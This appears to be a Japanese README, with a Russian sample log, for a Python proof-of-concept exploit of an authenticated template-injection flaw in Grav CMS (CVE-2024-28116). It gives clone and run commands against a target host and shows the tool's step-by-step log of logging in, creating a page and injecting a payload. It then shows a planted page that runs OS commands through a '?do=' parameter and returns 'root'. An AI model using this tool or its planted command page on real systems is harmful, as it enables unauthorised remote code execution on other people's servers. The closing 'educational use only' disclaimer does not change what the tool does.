
GenGravSSTIExploit は、Grav CMS バージョン <= 1.7.44 (CVE-2024-28116) の認証済みサーバーサイドテンプレートインジェクション (SSTI) の脆弱性を悪用する PoC の Python スクリプトです。この脆弱性により、編集者権限を持つユーザーがリモートサーバー上で OS コマンドを実行できます。
注記: このスクリプトは、Grav CMS コンソールで認証するための有効な資格情報を必要とします。
requests ライブラリ (pip install requests でインストール)リポジトリのクローン
git clone https://github.com/geniuszly/GenGravSSTIExploit
cd GenGravSSTIExploit
資格情報の設定
スクリプトを編集して、Grav CMS の編集者資格情報を設定します:
GRAV_USER = "youruser"
GRAV_PASSWORD = "yourpassword"
スクリプトの実行
以下のコマンドでスクリプトを実行します:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT>
<TARGET_URL>: http[s]://hostname 形式のターゲット URL。<PORT>: ポート番号 (デフォルトは 80)。例:
python GenGravSSTIExploit.py -t http://example.com -p 8080
エクスプロイトとの対話
エクスプロイトが成功すると、OS コマンドを実行できる URL が表示されます:
[+] RCE payload injected. Visit the malicious page: http://example.com:8080/poc_<ID>?do=<command>
python GenGravSSTIExploit.py -t http://example.com -p 8080
スクリプトは各ステップを実行し、ターミナルで進捗状況を報告します。表示される内容の例は次のとおりです:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_4T7B?do=<command>
スクリプトの実行が完了すると、注入されたページへのリンクを含むメッセージが表示されます。このリンクにアクセスして OS コマンドを実行できます:
http://example.com:8080/poc_4T7B?do=whoami
指定したコマンドを含む URL にアクセスすると、出力がページ上に直接表示されます:
Cmd-Output:
root
このツールは教育目的のみを意図しています。責任を持って使用し、明示的な許可を得たシステムでのみ使用してください。著者は、このスクリプトによって引き起こされた誤用や損害について一切の責任を負いません。